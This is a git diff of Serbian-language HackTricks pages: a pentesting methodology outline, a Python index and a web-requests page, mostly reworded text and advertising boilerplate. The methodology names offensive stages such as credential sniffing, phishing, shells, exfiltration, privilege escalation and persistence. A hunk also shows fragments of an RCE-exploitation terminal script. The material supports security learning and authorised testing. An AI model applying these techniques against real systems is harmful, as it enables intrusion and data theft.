* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -639,23 +636,23 @@ Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog ops
|
|||
|
||||
## **Reference**
|
||||
|
||||
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
Ako vas zanima **karijera hakovanja** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
|
||||
|
@ -28,7 +28,7 @@ _Logotipi Hacktricks-a dizajnirani od strane_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### 0- Fizički napadi
|
||||
|
||||
Imate li **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**izlasku iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/).
|
||||
Imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/).
|
||||
|
||||
### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/)
|
||||
|
||||
|
@ -41,17 +41,17 @@ Imajte na umu da ako obavljate eksterni test, kada uspete da pristupite internoj
|
|||
### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)**
|
||||
|
||||
**Ova sekcija se odnosi samo na interni test.**\
|
||||
Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **sa mreže** ili **snifovali** neke **podatke** kako biste **pasivno/aktivno(MitM)** saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **iz mreže** ili **snifovali** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Skeniranje portova - Otkrivanje servisa](pentesting-network/#scanning-hosts)
|
||||
|
||||
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
||||
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da saznate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Pretraga eksploatacija verzija servisa](search-exploits.md)
|
||||
|
||||
Kada saznate koje servise koristite, i možda njihove verzije, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploatacija koja će vam omogućiti pristup...
|
||||
|
||||
### **5-** Pentesting Servisi
|
||||
### **5-** Pentestiranje servisa
|
||||
|
||||
Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, trebalo bi da potražite **uobičajene loše konfiguracije u svakom pokrenutom servisu**.
|
||||
|
||||
|
@ -60,7 +60,7 @@ Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, tre
|
|||
**Želim da napomenem** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deo (jer je najobimniji).**\
|
||||
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) možete pronaći ovde.
|
||||
|
||||
**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete ništa pronaći** na Google-u, obavite svoj **slepi pentesting**, možete početi tako što ćete **povezati se sa servisom, testirati ga i čitati odgovore** (ako ih ima).
|
||||
**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete ništa pronaći** na Google-u, obavite **svoj slepi pentesting**, možete početi tako što ćete **povezati se sa servisom, testirati ga i čitati odgovore** (ako ih ima).
|
||||
|
||||
#### 5.1 Automatski alati
|
||||
|
||||
|
@ -68,11 +68,11 @@ Postoje i nekoliko alata koji mogu obaviti **automatsku procenu ranjivosti**. **
|
|||
|
||||
#### **5.2 Brute-Force servisa**
|
||||
|
||||
U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje** servisa. [**Pronađite ovde CheatSheet različitih servisa za Brute-Force**](brute-force.md)**.**
|
||||
U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje** servisa. [**Pronađite ovde CheatSheet različitih servisa za Brute-Force napade**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
### 6- [Fišing](phishing-methodology/)
|
||||
|
||||
Ako do sada niste pronašli zanimljivu ranjivost, **možda ćete morati da pokušate sa phishingom** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/):
|
||||
Ako do sada niste pronašli značajnu ranjivost, **možda ćete morati da pokušate sa fišingom** kako biste ušli u mrežu. Možete pročitati moju metodologiju fišinga [ovde](phishing-methodology/):
|
||||
|
||||
### **7-** [**Dobijanje Shell-a**](shells/)
|
||||
|
||||
|
@ -88,7 +88,7 @@ Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkori
|
|||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Eksfiltracija**](exfiltration.md)
|
||||
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
||||
|
||||
Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||
### **10- Eskalacija privilegija**
|
||||
|
@ -96,11 +96,11 @@ Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacit
|
|||
#### **10.1- Lokalna eskalacija privilegija**
|
||||
|
||||
Ako **niste root/Administrator** unutar sistema, trebalo bi da pronađete način da **eskališete privilegije.**\
|
||||
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linuxu**](../linux-hardening/privilege-escalation/) **i u** [**Windowsu**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**:
|
||||
|
||||
* [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Kako **ukrasti akreditive** u Windows-u
|
||||
* Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
|
@ -108,7 +108,7 @@ Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše
|
|||
|
||||
#### **10.2- Eskalacija privilegija u domenu**
|
||||
|
||||
Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak jednog odeljka, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team.
|
||||
Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak sekcije, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -119,8 +119,8 @@ Pronađite ovde različite načine za [**izvlačenje šifri u Windows-u**](broke
|
|||
|
||||
#### 11.2 - Upornost
|
||||
|
||||
**Koristite 2 ili 3 različite vrste mehanizama upornosti tako da nećete morati ponovo da eksploatišete sistem.**\
|
||||
**Ovde možete pronaći neke** [**trikove upornosti na Active Directory-u**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Koristite 2 ili 3 različita tipa mehanizama upornosti tako da nećete morati ponovo da eksploatišete sistem.**\
|
||||
**Ovde možete pronaći neke** [**trikove za upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Završiti post o upornosti u Windows-u i Linux-u
|
||||
|
||||
|
@ -141,15 +141,15 @@ Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može bit
|
|||
* [**Osnovno Eksploatisanje u Windows-u**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Osnovni alati za eksploatisanje**](../exploiting/tools/)
|
||||
|
||||
#### [**Osnove Python-a**](python/)
|
||||
#### [**Osnovni Python**](python/)
|
||||
|
||||
#### **Trikovi kriptovanja**
|
||||
#### **Kripto trikovi**
|
||||
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
|
@ -161,9 +161,9 @@ Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **m
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,10 +14,10 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -28,12 +28,12 @@ Dobijte pristup danas:
|
|||
* [**Python deserijalizacije**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trikovi za zaobilaženje Python pesaka**](bypass-python-sandboxes/)
|
||||
* [**Osnovna sintaksa zahteva za Python veb**](web-requests.md)
|
||||
* [**Osnovna sintaksa i biblioteke za Python**](basic-python.md)
|
||||
* [**Osnovna Python sintaksa i biblioteke**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -44,7 +44,7 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,18 +6,18 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -39,11 +39,11 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -53,10 +53,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
|
@ -90,7 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Python naredba za iskorišćavanje RCE-a
|
||||
## Python naredba za iskorišćavanje udaljenog izvršenja koda (RCE)
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -117,10 +117,10 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -134,7 +134,7 @@ Drugi načini podrške HackTricks-u:
|
|||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
